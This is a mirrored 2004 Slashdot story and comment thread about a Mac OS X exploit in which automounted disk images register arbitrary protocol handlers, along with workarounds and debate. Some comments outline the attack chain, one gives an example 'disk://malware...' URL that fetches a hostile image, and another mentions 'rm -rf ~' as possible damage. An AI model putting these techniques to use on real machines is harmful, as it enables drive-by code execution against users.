Slashdot Mirror


Yet Another Mac OS X Protocol Handler Exploit

Rosyna writes "Apple just can't get any breaks lately. First the help protocol handler exploit (which has been fixed), then the telnet handler exploit, and now an exploit for any arbitrary protocol handler: make your own, then exploit it. You can auto mount a volume in Mac OS X via the disk, afp, or ftp handlers (and probably others). Paranoid Android will help prevent exploitation until Apple fixes the problem." The hole here is that when a volume with an application on it is mounted, Apple registers the application's specified protocol handlers, without additional user action. Another option is to disable those handlers that allow volume mounting, but playing that game, obviously, isn't a guaranteed win in the long run.

155 comments

  1. MS influence? by Anonymous Coward · · Score: 5, Funny

    What'd they do, hire the security team away from Microsoft?

    1. Re:MS influence? by Anonymous Coward · · Score: 1, Insightful
      MS influence? (Score:-1, Troll)
      by Anonymous Coward on 11:40 22 May 2004 (#9224915)
      What'd they do, hire the security team away from Microsoft?

      Troll? Have I too committed a thought crime by considering that post funny?

    2. Re:MS influence? by rspress · · Score: 4, Funny

      At Microsoft is one person considered a team?

  2. Fear Bill G, Fear! by Councilor+Hart · · Score: 4, Funny
    Wow, if I were Billy boy, I would start worrying now.
    First, there is al this talk of switching to linux.
    And now even the virus writers are starting to pay attention to something else besides windows.
    Finally the end is near.
    Goodbye Billy...

    On the other hand, I do use Mac OS X.
    D'Oh...

    1. Re:Fear Bill G, Fear! by agibbs · · Score: 3, Insightful

      I know you're being funny, but has anyone actually seen any malicious exploits out there for this? I haven't heard of any. Not that this lessens the gravity of this exploit, but it is interesting. Also, I don't believe this is a hole for viruses, again someone can do a hell of a lot of damage with a simple rm -rf ~ but I don't think this has the potential to open the door to worms viruses etc.

    2. Re:Fear Bill G, Fear! by wealthychef · · Score: 1

      If I understand this correctly, you're wrong. (Well, not a *virus*, which is something that inserts itself into the code of another application, but a worm, certainly.) This exploit allows arbitrary code to run. It can simply run a server on your machine and send emails around to others pointing to said server to propagate itself. It can even add a crontab entry so it runs each time your machine is on. Right?

      --
      Currently hooked on AMP
    3. Re:Fear Bill G, Fear! by agibbs · · Score: 1

      I suppose you're right, but it wouldn't be a worm I don't think because it couldn't be self propagating. That is, while it could, as you say, send emails, alter crontab, wipe files, etc. it couldn't impose these exploits on others. Well... I guess it could if it sent out an email with a properly formatted link to send out more emails. That would be rather devious, and might not even work. Interesting idea though, I guess you're right, you could create a worm doing this.

  3. As an Apple Afficionado, I'm delighted. by Anonymous Coward · · Score: 5, Insightful

    I love my Apple computers and I adore OS X.

    That said, I'm immensley releived the floodgates to OS X exploitation have finally been thrown open.

    Allow me to explain.

    Too long Apple users have gloated (senselessley) that OS X is somehow more secure than Windows. This collective delusion has lulled everyone into a false sense of security. Being one of the few who bothers to "secure" his OS X installation, I am often jeered at for being paranoid - uneccesarily so, according to my detractors.

    But the truth is that no software sytem is perfect. This is the wake-up call Apple and its users to realise they need to watch out too. I relish this because taking action *now* too purge OS X of its deficiencies will prevent the pitiful scene common to Windows users. I don't want OS X exploited on a daily basis as happens with Windows. I want OS X to be secure!

    There will be much displeasure in the short-term, but that which does not kill us only makes us stronger.

    1. Re:As an Apple Afficionado, I'm delighted. by norkakn · · Score: 3, Insightful

      No, it isn't perfect

      But I would still claim that OSX's security is better than XP's

    2. Re:As an Apple Afficionado, I'm delighted. by yotaku · · Score: 5, Insightful

      Absolutely. And the same thing would happen with any other OS that was setup and used by anyone not in the computer elite. There will always be holes in the OS. But given careful administration, most are not too much of a problem. This is true for OS X, Windows, and *nix.

      I just hope, as you say that it will shut the Mac fans up about their "immune OS that will never suffer from security holes as windows does". Guess what, it will - and has.

    3. Re:As an Apple Afficionado, I'm delighted. by Ilgaz · · Score: 2

      http://apple.slashdot.org/article.pl?sid=04/04/08/ 1922237&mode=thread&tid=126&tid=172

      See what happened to Intego when they spoke about a possible exploit and with a simple demo it was possible.

      The amazing is, there is a glitch actually in finder COULD BE used to do evil things but that company only showed (with demo) that its possible. They were labeled everything. Including coding viruses to sell their products.

      When a real virus ships for OS X coded by some lamer believe it will be big deal, even some newspapers won't be printed. Why? I personally know a newspaper declines to buy antivirus for macs just because "they are safe".

    4. Re:As an Apple Afficionado, I'm delighted. by curious.corn · · Score: 1

      asshole.. & troll... & flamebait... this issue roots in a design flaw (read carefully... _Design_Flaw_... not simple stack buffer overflows MS likes to indulge in) in the user experience framework that's totally separated from the BSD subsystem...

      --
      Mi domando chi à il mandante di tutte le cazzate che faccio - Altan
    5. Re:As an Apple Afficionado, I'm delighted. by Jord · · Score: 3, Interesting
      At this point buying anti-virus software for OSX is a total waste of money. There still has yet to be a virus written for OS X. Chances are there won't be one for a long time to come if ever.

      Yes this is a vulnerability. Yes it is bad. But a virus program would not protect you from this without altering the way that your system runs.

      Does this need to be fixed? yes it does, but anti-virus software for OSX is still snake oil.

    6. Re:As an Apple Afficionado, I'm delighted. by Anonymous Coward · · Score: 5, Interesting

      I did not realize that "being secure" was a boolean.

      Too long Apple users have gloated (senselessley) that OS X is somehow more secure than Windows

      So something is either completely secure (along the lines of OpenBSD), or it is as open as Windows. And there is no middle ground there?

      Even with the current exploits, OS X is still significantly more secure than most Windows installs.

      Yes, I agree that OS X users need to take precautions and not just rely on the security of their machine. Even then, though, you can tell someone deciding between OS X and Windows "If you are reasonable careful on both platforms, you are still less likely to have problems with OS X, due to its security already in place."

    7. Re:As an Apple Afficionado, I'm delighted. by Jord · · Score: 5, Insightful
      I love the way this comment was presented. Sounds like some finely crafted FUD more than anything else. Yes an exploit has been found in OSX. Does that make OSX as vulnerable as Windows, not even close, not even on the same planet.

      Windows has had so many exploits that I can't even keep track. One exploit, not even a root exploit (a very important distinction) does not make OSX as vulnerable as Windows. There still are no worms, no viruses attributed to OSX.

      Yes this was due. It was going to happen. But OSX is still infinitely more secure than windows and more than likely always will be. Lets not fly off half-cocked and make wild statements like this.

    8. Re:As an Apple Afficionado, I'm delighted. by mikedaisey · · Score: 4, Insightful


      I agree with your sentiment--I want a secure system, and seeing it challenged early will help it be so. But the fact of the matter is that OSX ships by default many degrees of magnitude more secure than Windows does.

      Yes, this has resulted in some unnecessary gloating from Macheads, and it makes folks lazy with their security--that's unfortunate. But that doesn't diminish the security successes Apple's had with OS X.

    9. Re:As an Apple Afficionado, I'm delighted. by Anonymous Coward · · Score: 1, Funny
      not even close, not even on the same planet

      Well, to be fair, they are on the same planet.

    10. Re:As an Apple Afficionado, I'm delighted. by IntlHarvester · · Score: 2, Insightful

      (Should I reply to a FUD-crying astroturfer with an OSX advert in his sig? Well, OK...)

      In general, there's two types of security issues:
      (1) Implemenation issues -- eg buffer overflows in MSRPC or OpenSSH or Outlook MIME parsing.

      (2) Design issues -- such as auto-installing ActiveX, HTML preview that automatically runs scripts, and so on. These are the typical Microsoftish Ease-Versus-Security issues.

      Windows has hit hard by both, so it's easy to confuse the two.

      The thing is, Apple really isn't better at #2 than anyone else. They seem to have made similar funky "desktop integration" decisions as Microsoft, and that leads to consequences such as this. Come on, a "disk:" protocol handler? Why? There's nothing FUDish about pointing this stuff out.

      (Another good example is the plug-n-play directory service that gives another machine root powers over your OS X box with a simple DHCP command.)

      There still are no worms, no viruses attributed to OSX.

      Security is only measured by a worms/viruses count on the lowest level. I don't think anyone would disagree there's other factors there, such as size and concentration of the userbase, number of 'hostile' users, opinion of the vendor, etc. Classic MacOS had almost no viruses and it was not because of a secure design.

      --
      Business. Numbers. Money. People. Computer World.
    11. Re:As an Apple Afficionado, I'm delighted. by Anonymous Coward · · Score: 0

      Actually this sort of thing would never work on plain Unix. It directly uses the MacOS "metadata filesystem" which usually makes the system so nice to use. One could easily see a similar attack working on Classic.

    12. Re:As an Apple Afficionado, I'm delighted. by Jord · · Score: 5, Insightful
      I suggest you take a look at track records before spouting off about who is better at what.

      I am not saying that OS X is perfect. Far from it, I am a programmer myself and I understand the realities of software design. However based on track records alone, OS X is far ahead of even the most current windows implementation. How many exploits are there that auto install software on OS X? None. How many worms are there for OS X? None. How many pieces of auto-installing spyware are there for OS X? None. How many viruses? None. OS X IS more secure that windows. It's not perfect but I will put my money behind the security in OS X any day.

      In any event, it was completely expected that the Windows zealots would come out of the woodwork as soon as the first vulnerability was found in OS X. Now it begins. We will see plenty of zealots crying how no operating system is safe. Guess what, windows is still a poorly written piece of garbage and no amount of throwing mud (or fud) is going to change that.

    13. Re:As an Apple Afficionado, I'm delighted. by IntlHarvester · · Score: 1

      I don't see any "Windows Zealots" around here, so who was that comment directed at? If not me, I apologize. but please can it with all the paranoia about "FUD" and "Zealots" -- your tone is way too hostile and accusatory and you are concerned about a propaganda war that simply does not matter. If you are truely concerned about FUD and Zealtory, don't take that position yourself.

      (Also, just offhand, I've never known a 'Windows Zealot' to give a flying fuck about Macs. Microsoft seems to be frying other fish.)

      --
      Business. Numbers. Money. People. Computer World.
    14. Re:As an Apple Afficionado, I'm delighted. by dwightk · · Score: 1

      here here

      --
      Like anyone can even know that
    15. Re:As an Apple Afficionado, I'm delighted. by Anonymous Coward · · Score: 0

      Go windows!!!! XP, ME, 98SE, 'sall good. Mac uzers are luzors!!!!

    16. Re:As an Apple Afficionado, I'm delighted. by Anonymous Coward · · Score: 0

      "No matter what computer system you use, it's clear that you can barely read. What I said was that the windows zealots WOULD come out of the woodwork."

      "Resorting to insults just shows your immaturity no matter what your physical age is supposed to be."

      Do as I say not as I do....

    17. Re:As an Apple Afficionado, I'm delighted. by Ilgaz · · Score: 3, Informative

      Well let me tell couple of things as explanation.

      As a tradition on every computer I bought since Amiga 500, I buy a antivirus.

      I bought this G5, converting from PC at November 2003, checking my receipts, I bought the Intego virusbarrier 10 days later after seeing Virex and Norton are pure crap. Also I have special feelings about Mcafee and Symantec from windows days :)

      I agree to your post but... Remembering back in the day how damn DASA (one of first amiga viruses) effected me, I decided to carry on my tradition.

      I just don't agree "snake oil", its a real big blame to a security company and its users. I bought virusbarrier knowing there is nearly no threat to OS X oh and "shoot me", I bought netbarrier too. Just I don't like how OS X firewall works and not too friendly to my everyday usage.

      Intego did ONE stupid thing. They advertised their product in that press release. Yes, it actually "finds" whatever that is but it was a big PR stupidness showing their product.

      btw, you have a mac antivirus license too :) Virex heheh, may start to wonder how much of your .mac membership fee goes to Mcafee :P

    18. Re:As an Apple Afficionado, I'm delighted. by AndyElf · · Score: 2, Insightful

      The problem with Intego is that they have blown _that_ exploit out of proportion -- as very rightly pointed out in many places _that_ exploit (or similarly crafted one) could just as easily happen to on UNIX or Windows or *any* other OS.

      --

      --AP
    19. Re:As an Apple Afficionado, I'm delighted. by Jord · · Score: 1
      Your approach is one that is a bit more cautious than mine in the anti-virus arena. Yes I know that I have Virex available to me and once there is an actual virus for OS X I will probably install it. However, until there is a need for it, I will stick with my firewall and backups.

      Right now buying and installing anti-virus software for OS X is like buying flood insurance in the Rockies. Until it actually happens or is needed, it seems like a horrible waste of money and resources.

    20. Re:As an Apple Afficionado, I'm delighted. by Anonymous Coward · · Score: 1, Insightful

      your tone is way too hostile and accusatory

      Mr. Pot, meet Mr. Kettle. Don't be a condesending prick, and people wont talk back to you as if you were a condesending prick.

    21. Re:As an Apple Afficionado, I'm delighted. by Anonymous Coward · · Score: 0

      You can't compete, can't keep up with the MaSters of illusion, unless you are willing to make similarly stupid design decisions.

      Give the customers what they want, even if it kills them, and give it to them before they realize they want it.

    22. Re:As an Apple Afficionado, I'm delighted. by Anonymous Coward · · Score: 0

      > ... this issue roots in a design flaw (read carefully...
      > _Design_Flaw_... not simple stack buffer overflows
      > MS likes to indulge in) ...

      Wow! Microsoft has no flaws in their designs!!!

      (That's because they have only one design, and that's to get your money.)

    23. Re:As an Apple Afficionado, I'm delighted. by IntlHarvester · · Score: 1

      You're right. I should have never gotten into it and just let the Apple Fans have their battle with their imaginary anti-Apple faction.

      --
      Business. Numbers. Money. People. Computer World.
    24. Re:As an Apple Afficionado, I'm delighted. by jadenyk · · Score: 1

      You're also looking too much into how many viruses/worms are currently in circulation (or have been in the past) for OS X. I think the bigger question is how many *could* be. Just because there aren't any there doesn't mean that there are holes sitting and waiting for an attack. I think most virus/worm writers are looking to hit the largest "audience" possible. To write one for a Mac is plain stupid. Where Microsoft has such a large market share - especially with the average Joe who goes and buys a computer because he wants email and knows nothing about security - that these virus/worms spread like wildfire.

      The reality of it is that we can compare OS X security to Windows security all day long - but you'll never be able to get a true comparison in that area. You can, currently, say that OS X is less likely to get a virus/worm than Windows, but that doesn't mean that tomorrow you can say the same thing. In actuality, as most OS X users don't have Anti-Virus software (myself included), if a virus were to hit OS X tomorrow, there would be some huge issues.

    25. Re:As an Apple Afficionado, I'm delighted. by Jord · · Score: 4, Insightful
      The large audience argument has been mentioned many many times in the past and personally I disagree with it. There is a real world example of this exact situation. Microsoft IIS. It's "market percentage" is very tiny and yet it gets hit with worms because it is insecure. On the other hand, Apache which has a huge market percentage does not get it because it is secure.

      Granted this is dumbing down the details by a HUGE amount but the point is still there. Microsoft software does not have the most worms/viruses/etc because it has the most market share, it has the most worms/viruses/etc because it is the most poorly written. Granted, if their market share was zero, then obviously the exploits would not be big news, but the clear point that is made is that if OS X were as vulnerable as Windows we would be seeing worms and viruses. The fact that there are none reported goes a long way to show the strength of the operating system.

      BTW you could easily replace OS X with BSD, Linux in this statement and the statement still holds true. Software written with security in mind is clearly more secure. Windows was clearly not written with security in mind.

    26. Re:As an Apple Afficionado, I'm delighted. by Anonymous Coward · · Score: 0

      Actually, there are viruses out for Mac OS. SevenDust C comes to mind. The problem is that they aren't widely distributed. The only time they come into play is when little warez kitties try and download Office 2004 CD1.

    27. Re:As an Apple Afficionado, I'm delighted. by cosmo7 · · Score: 2, Funny

      here here

      bra veau!

    28. Re:As an Apple Afficionado, I'm delighted. by jadenyk · · Score: 1

      I'm more referring to your everyday (with Microsoft atleast) virus/worms. As far as vulnerabilities and all, I think that it's obvious that Apple does a far superior job in QA testing.

      I've honestly not heard of a worm in Apache or IIS. Wouldn't that be based on the server OS? Or are you talking about a vulnerability? I'm not saying I'm a web server pro or anything, but I do have about 5 years experience with Apache servers and I have yet to see one. I've only used IIS once, for about a week.

    29. Re:As an Apple Afficionado, I'm delighted. by Anonymous Coward · · Score: 0

      There there!

    30. Re:As an Apple Afficionado, I'm delighted. by Anonymous Coward · · Score: 0

      So something is either completely secure (along the lines of OpenBSD)

      Only if you believe Theo the Rat

    31. Re:As an Apple Afficionado, I'm delighted. by Jord · · Score: 1
      As far as I know there are no worms or viruses that attach apache.

      However a quick google turns up at least 36 known viruses/worms that attach IIS. Here is a link to a small list.

      The market share of the operating system has little bearing on the number of exploits the system has. That is a false myth that has been going around the net for years. Not sure who started it but it is clearly false.

    32. Re:As an Apple Afficionado, I'm delighted. by AvantLegion · · Score: 1
      >> I did not realize that "being secure" was a boolean.

      It is in my code.

      bool secure = false;

  4. This is a Launch Services exploit by mst76 · · Score: 4, Interesting
    For more information, see the Carbon docs, in particular, the section "Registering Applications":
    The Finder automatically registers all applications as it becomes aware of them, such as when they are dragged onto the user's disk or when the user navigates to a folder containing them.
    and as we see with this exploit, whenever a volume is mounted. Doh! This is one of those handy MacOS features where the OS seems to find the right application as if by Magic even when the app is moved around. In this case though, it appears that too much Convenience has compromised Security. We can't really blame them though, I think this behaviour was inherited from Classic MacOS, before everyone was networked, and before security was such a big issue as it is today. The real test of Apple is how long it will take them to fix this hole.
    1. Re:This is a Launch Services exploit by gumbi+west · · Score: 1

      I think I just downloaded it. It doens't require a restart and is dated as a security update for monday.

    2. Re:This is a Launch Services exploit by aristotle-dude · · Score: 4, Interesting
      This is not a launch services exploit. Get your facts straight. It is an exploit that uses the disk protocol in conjunction with the Launch services "Registering Applications" feature. Application registration is a feature that I do not want to see disappear.

      I would like to Apple to add a mandatory confirmation dialogue with warnings about possible security risks from mounting images from untrusted sources on any attempt to mount a disk image from the internet.

      This would give the user ample warning and a chance to prevent the exploit.

      Another alternative would be to do the above and include the option in the security prefs pane to enable/disable mounting of internet disk images.

      --
      Jesus was a compassionate social conservative who called individuals to sin no more.
    3. Re:This is a Launch Services exploit by Anonymous Coward · · Score: 0

      > This is not a launch services exploit. Get your facts straight. It is an exploit that uses the disk protocol in conjunction with the Launch services "Registering Applications" feature.

      Launch Services registers anything on mounted volumes and disk:// is not the only way to mount volumes. Various reports are coming in that the exploit also works with ftp:// (maybe also afp:// ?).

    4. Re:This is a Launch Services exploit by aristotle-dude · · Score: 1
      I realize that but Launch services is not the issue but rather how those other file location urls are handled. Providing a user validation dialogue will prevent a meta refresh exploit.

      Destroying the registration feature is not the answer.

      --
      Jesus was a compassionate social conservative who called individuals to sin no more.
    5. Re:This is a Launch Services exploit by Anonymous Coward · · Score: 0

      > Destroying the registration feature is not the answer.

      Neither is popping up a dialog for every ftp mount. Oh well, we can just wait and see what Apple does in the next security update.

    6. Re:This is a Launch Services exploit by Anonymous Coward · · Score: 0
      This is not a launch services exploit. Get your facts straight. It is an exploit that uses the disk protocol in conjunction with the Launch services "Registering Applications" feature. Application registration is a feature that I do not want to see disappear.
      Ok, here are the facts. disk(s)://, ftp://, afp:// and others are protocols designed to mount volumes remotely. LaunchServices registers URL handlers on mounted volumes automatically. Together they are clearly dangerous. Which one is at fault here?
      I would like to Apple to add a mandatory confirmation dialogue with warnings about possible security risks from mounting images from untrusted sources on any attempt to mount a disk image from the internet.
      But how do you distinguish between the internet and your trusted home LAN? How do you distinguish a trusted from an untrusted network? Are we going to get mandatory dialogs for every ftp and afp connection? Clearly the problem is not in remotely mounting volumes, but in automatically registering URL handlers on them. In other words, the problem is in LauncServices.
  5. Exploit doesn't effect Mozilla by Anonymous Coward · · Score: 1, Interesting

    When I tried to run the proof-of-concept (linked to in the Paradoid Anderoid whitepaper on the exploit at unsanity. com/haxies/pa/whitepaper) using Mozilla 1.7b, DiskCopy gave the error "osxMalware.dmg" failed to mount due to error 2. (No such file or directory) and mozilla gave the error malware is not a registered protocol.. Maybe it's a safari-only 'sploit?

    1. Re:Exploit doesn't effect Mozilla by Anonymous Coward · · Score: 1, Interesting

      I use Safari and I got the same DiskCopy error; of course, I first had to enable the disk: URL scheme. I didn't get any other errors, from Safari or otherwise.

      The Paranoid Android whitepaper mentions that that turning off various schemes like disk, afp, ftp, isn't a good solution, but since Paranoid Android won't install for 10.2.8 (I tried), for now, it seems to be the only solution for me; I use RCDefaultApp to disable those schemes. Anyone got a way to turn off this custom URL scheme business for 10.2.8?

      Actually, since the exploit didn't work for me (for whatever reason) I guess I'm not even sure this works for 10.2.8; does anybody know if this is specifically for 10.3? The whitepaper doesn't say, and Paranoid Android is specifically listed for 10.3 or above.

    2. Re:Exploit doesn't effect Mozilla by Anonymous Coward · · Score: 0

      Interesting... I'm on 10.2.8 as well. Perhaps it is a 10.3-only thing, though the mozilla error may carry thorough to 10.3 . Filetype handling in mozilla has caused me much grief in the past; this is the first time it seems to be a good thing.

    3. Re:Exploit doesn't effect Mozilla by Breakfast+Cereal · · Score: 1

      Must be. Both Safari and Firefox merrily spread my computer's legs under 10.3.3. :(

  6. It just works! by OneDeeTenTee · · Score: 5, Insightful

    Seriously though, once Linux becomes a real choice for average desktop users we'll be seeing Linux exploits as well.

    --
    Stop the world; I need to get off.
    1. Re:It just works! by zo219 · · Score: 1

      Will there still be electricity, by then?

    2. Re:It just works! by Anonymous Coward · · Score: 0

      What now? We don't see Linux exploits today? Hmm... Explain this load of Gentoo security alerts in my inbox.

      Exploits happen for Linux, people just choose to ignore them to increase the sense of security when talking to others.

    3. Re:It just works! by Canberra+Bob · · Score: 1

      "Seriously though, once Linux becomes a real choice for average desktop users we'll be seeing Linux exploits as well."

      Great. So when Im old and grey and everyone else is taking advantage of me, Ill also have to start worrying about scr1p7 kiddies 0wning my b0x3n too.

  7. Alright by seann · · Score: 0

    I'm not the only one who's thought of this when I first started using a mac?

    how many times have you downloaded something from Safari, to have it automount, and even run the installer?

    --
    I'm a big retard who forgot to log out of Slashdot on Mike's computer! LOOK AT ME.
    1. Re:Alright by Jord · · Score: 4, Interesting
      how many times have you downloaded something from Safari, to have it automount, and even run the installer?

      Hmmm...Never. I have had Safari automount more disk images than I can count. Some of them have a EULA auto pop-up but never have I seen one run the installer automatically. If that were to happen, we would have seen a trojan on OSX a lot sooner.

    2. Re:Alright by Anonymous Coward · · Score: 0

      Please mod this down. It is NOT informative.

      I have seen numerous instances where a downloaded disk image with an installer automatically runs the installer. I'm not sure of the exact conditions that cause this to happen, but it does happen. A few months ago I created a disk image with a .mpkg file and several individual .pkg files in a hidden subdirectory. When I tested the download from my website, it automatically ran the installer. I didn't do anything extra to make this happen, and never investigated what I might have to do to prevent it.

  8. Resetting "help:" to Help Viewer by TomSawyer · · Score: 4, Informative
    I'm posting this in case I'm not the only one who ran into trouble resetting "help:" to the Help Viewer. Before the security update came out I'd set the "help:" protocol to point to chess. If you want to point "help:" back to the Help Viewer you'll find the app in /System/Library/CoreServices/

    Fire up MisFox again and update the help protocol helper to /System/Library/CoreServices/Help Viewer.app

    --
    If you disagree then it must be overrated, redundant or trolling.
    1. Re:Resetting "help:" to Help Viewer by Anonymous Coward · · Score: 0

      More information on resetting the "help:" viewer app at this Apple Support Knowledgebase document.

  9. How this hole was discovered by mst76 · · Score: 5, Informative

    This issue was discovered on the MacNN forum, when they were discussing the previous exploit. The accepted workaround was downloading one of the utilities to change the protocol helpers, but the user kampl refused to have any non-Apple "security fix" on his system (He never acknowledged that the utilities were not sucurity fixes at all, just tools to change user preferences). His solution was to delete the HelpViewer app from his system. One bright member of the forum pointed out that that isn't enough, you could probably just stick the HelpViewer on the .dmg image and LaunchServices would find it there. Another poster realized this might work for any application if you bind it to a bogus protocol in the Info.plist file, so there is no need for HelpViewer at all. A third poster had a sample exploit coded in no time. Apple was promptly notified, so we can expect another fix soon (hopefully).

    1. Re:How this hole was discovered by Rosyna · · Score: 1

      And the poster, smeger, was the one that wrote this whitepaper and paranoid android...

    2. Re:How this hole was discovered by Fulkkari · · Score: 5, Insightful

      I'm a bit amazed on how well the Mac community have co-operated in finding these security flaws. Even though the flaws are always bad things, this just shows how strong the community actually is. And it sure feels good to be a part of it.

      --
      I demand the Cone of Silence!
    3. Re:How this hole was discovered by Midnight+Thunder · · Score: 4, Insightful

      this just shows how strong the community actually

      It does, but it also shows the importance of community. This is one thing that I feel should be taken into account when creating a product. If you can create a community around your product then people will dicuss what they like, what they don't like and generally people will talk about your product. All this needs be, to start with, is a help forum will provision for generalised discussion. If people are part of the community then they are likely to help push the product.

      --
      Jumpstart the tartan drive.
    4. Re:How this hole was discovered by Cysgod · · Score: 0

      I have to admit, I find slashdot's schizophrenic reactions to these Mac security issues quite interesting. When I gave Apple 2 months that wasn't enough time and I was an awful evil person for informing people how to workaround the problem.

      But when people 0-day this stuff then it is suddenly okay and we don't mind it's protecting the users, yay for community!

      Good for these folks for working towards the bottom of all this stuff though. Yet another case of automagically changing settings to make life "easier" for the users turning around and causing trouble...

    5. Re:How this hole was discovered by Fulkkari · · Score: 2, Insightful
      I have to admit, I find slashdot's schizophrenic reactions to these Mac security issues quite interesting.

      Slashdot is not one person. Therefore there will be different opinions about things.

      I'm not usually for releasing vulnerabilities directly into the public, but this makes an exception. The findings of these new vulnerabilities are results of one conclusion after an other. In the end: does it matter if the final announcement is posted if you can read it between the lines from the earlier posts yourself?

      --
      I demand the Cone of Silence!
    6. Re:How this hole was discovered by nordicfrost · · Score: 1

      I have downloaded an Apple fix, labeled 23/05-2004 (That's the 24th of May 2004), totaling about 700KiB and it updated the Help app. I think most of these issues are fixed in that update.

    7. Re:How this hole was discovered by System.out.println() · · Score: 1

      That was the last exploit. This one is another can of worms entirely.

    8. Re:How this hole was discovered by Anonymous Coward · · Score: 1, Funny
      Slashdot is not one person. Therefore there will be different opinions about things.

      It's not? But... but... I felt like we were really making a connection. I thought I was in love. *sob!* :'(

    9. Re:How this hole was discovered by Anonymous Coward · · Score: 0

      Schizophrenia is not multiple personality disorder. Look it up. This is probably the most common misconception about psychological disorders. Almost EVERYONE makes the same mistake. If I remember correctly, "schizo" means disconnected - but schizophrenia does not mean disconnected or multiple personalities. Instead it means a disconnect between reality and perception. What a schizophrenic person perceives is not consistent with reality, hence the name. It has nothing to do with the more glamorous multiple personality disorder.

      There, hope someone learned something today. :)

  10. Rather simple WWW fix? by HaloZero · · Score: 0, Redundant

    To continue using Safari safely, just uncheck 'Open 'safe' files after downloading.' - which prevents the automagic mounting of disk images you download. No one should be using that option.

    --
    Informatus Technologicus
    1. Re:Rather simple WWW fix? by Rosyna · · Score: 1

      If you think that is true then try the harmless sample exploit at the page linked at the bottom of the article.

    2. Re:Rather simple WWW fix? by skinfitz · · Score: 3, Informative

      To continue using Safari safely, just uncheck 'Open 'safe' files after downloading.' - which prevents the automagic mounting of disk images you download.

      Doesn't stop images being mounted using disk:// as a protocol. i.e. disk://malware.somwhere.com/own3d.dmg

      No one should be using that option.

      It's on by default so game over. Not needed for this or new similar exploits to work anyway.

    3. Re:Rather simple WWW fix? by Have+Blue · · Score: 1

      That will not help other applications which use LaunchServices. A friend was able to exploit me through iChat by sending me a URL to click.

    4. Re:Rather simple WWW fix? by Amiga+Lover · · Score: 1

      To continue using Safari safely, just uncheck 'Open 'safe' files after downloading.' - which prevents the automagic mounting of disk images you download. No one should be using that option.


      But that doesn't actually stop the automatic mounting of disk images in this case. That's part of the exploit.

    5. Re:Rather simple WWW fix? by Anonymous Coward · · Score: 0
      Recursion; n. see 'Recursion'

      That's an infinite loop, not recursion.

  11. Elegant troll by Anonymous Coward · · Score: 2, Funny

    I'd clap, but this is the internet.

    1. Re:Elegant troll by Anonymous Coward · · Score: 0, Funny

      Clap anyway if you like, no-one actually cares what you think.

  12. Only 10.3? Weak by rixstep · · Score: 0, Offtopic

    Paranoid Android is for 10.3 only. Xcode comes with the ability to 'back-compile' to 10.1.5 and 10.2.7. Offering the other images, or one image that works on all, should be no bother. Offering only 10.3 is weak - very weak.

    1. Re:Only 10.3? Weak by Ilgaz · · Score: 2, Informative

      Its not just that simple, believe me.

    2. Re:Only 10.3? Weak by dubstop · · Score: 1

      From the page:

      Requires Mac OS X 10.2 or newer

      If you've got such a problem with it not supporting 10.1.x, maybe you should write your own. And give it away for free, of course.

    3. Re:Only 10.3? Weak by Big+Dick+Magee · · Score: 1

      It's free dork. Wow, you're attacking the good Samaritan, that's weak - very week.

  13. Same thing by Arkham · · Score: 3, Informative

    This is really the same exploit, with the same solution.

    1) Disable automount of downloaded files in Safari.

    2) Install the security update

    3) Disable telnet: disk: and disks: protocols

    That's it. No web page can exploit this arbitrary protocol problem if you do step 1 above. Step 2 fixes the help: issue, and step 3 fixes all other known issues.

    Why does this warrant 4 stories in 4 days? Are all the Windows weenies just that thrilled that there is an exploit on OSX?

    --
    - Vincit qui patitur.
    1. Re:Same thing by Anonymous Coward · · Score: 2, Informative

      You are missing afp: and ftp: from your list.

      See http://ozwix.dk/OpnAppFixer/testit.html for an example using ftp. The page isn't automated, so just click the ftp-link first, then "step 3".

    2. Re:Same thing by prockcore · · Score: 4, Informative


      That's it. No web page can exploit this arbitrary protocol problem if you do step 1 above. Step 2 fixes the help: issue, and step 3 fixes all other known issues.

      Why does this warrant 4 stories in 4 days?


      It warranted 4 stories in 4 days because people like you misunderstand the problem.

      Step 1 doesn't fix anything.. disk: ftp: afp: protocols still allow automounting of volumes from a webpage.

      Step 2 fixes help and telnet, but those aren't the whole issue.

      Step 3 is a step in the right direction, but you'll also need to disable ftp: and afp: since they both can be used in the same way.

      Disabling ftp means you can't open any ftp volumes without jumping through hoops. I always thought it was stupid that safari didn't handle ftp directly though.

      The solution isn't an easy one, and Apple is going to have to do something that MS and Linux have dealt with in the past... sacrifice ease-of-use for security.

  14. Maybe I'm missing something by Cecil · · Score: 1

    But what they're saying is that if I mount a Trojan Horse disk image, it will do bad things to my computer. Explain to me how this is worse than a Trojan horse program? It's possible to write a trojan horse for any platform. Only download software from places you trust.

    1. Re:Maybe I'm missing something by Anonymous Coward · · Score: 0

      The difference is that with a program, you first need to get the user to download and run it. With the disk image, the webpage does all the work (with javascript/http-refresh and silent automounting).

    2. Re:Maybe I'm missing something by HeghmoH · · Score: 4, Informative

      No, that's not it at all. They're saying is that if you visit a properly-constructed web page, that page can cause your computer to execute arbitrary code without any further intervention on your part. You just go to the URL, and a few seconds later you've been owned.

      --
      Mod down posts with a "Free Mac Mini/iPod" sig, they're spam!
    3. Re:Maybe I'm missing something by Jord · · Score: 1

      One simple difference. A "normal" trojan horse program generally requires some human intervention, at least on OSX. This requires that you merely go to a malicious website and that is it. As opposed to the Office 2k4 trojan which required you to run a program you downloaded.

    4. Re:Maybe I'm missing something by Amiga+Lover · · Score: 3, Informative

      But what they're saying is that if I mount a Trojan Horse disk image, it will do bad things to my computer. Explain to me how this is worse than a Trojan horse program? It's possible to write a trojan horse for any platform. Only download software from places you trust.


      A trojan program is one thing.

      These exploits will, with one single click on a link somewhere in a browser, download an attacker's code and then run that code automatically.

      There's a big difference between being sent an app or downloading it, then running it in a separate action, and "click this link to see a photo of my cat" then within seconds have an attacker's code wiping all files you have permission to run.

      As is, a default OSX install is vulnerable to a malicious link in someone's slashdot .sig for example. Click the .sig, and run the attacker's code.

    5. Re:Maybe I'm missing something by m3talsling3r · · Score: 1

      This is entirely funny since my machine can't be "owned" without root's express permission.

      Someday hopefully you windows freaks will learn real security. As soon as I bailed windows 4 years ago, and delved into *nix, the world opened up for me and I finally knew what true security meant.

      If Microsoft were in the window manufacturing business, all their windows would be spray painted opaque with only their art on it, it would be illegal to open, and it would have bars on the inside covered in plush red velvet with the lock outside with the key in it... But I digress...

      --
      My sig is as boring as you...
    6. Re:Maybe I'm missing something by HeghmoH · · Score: 4, Informative

      Funny, how these assumptions happen.

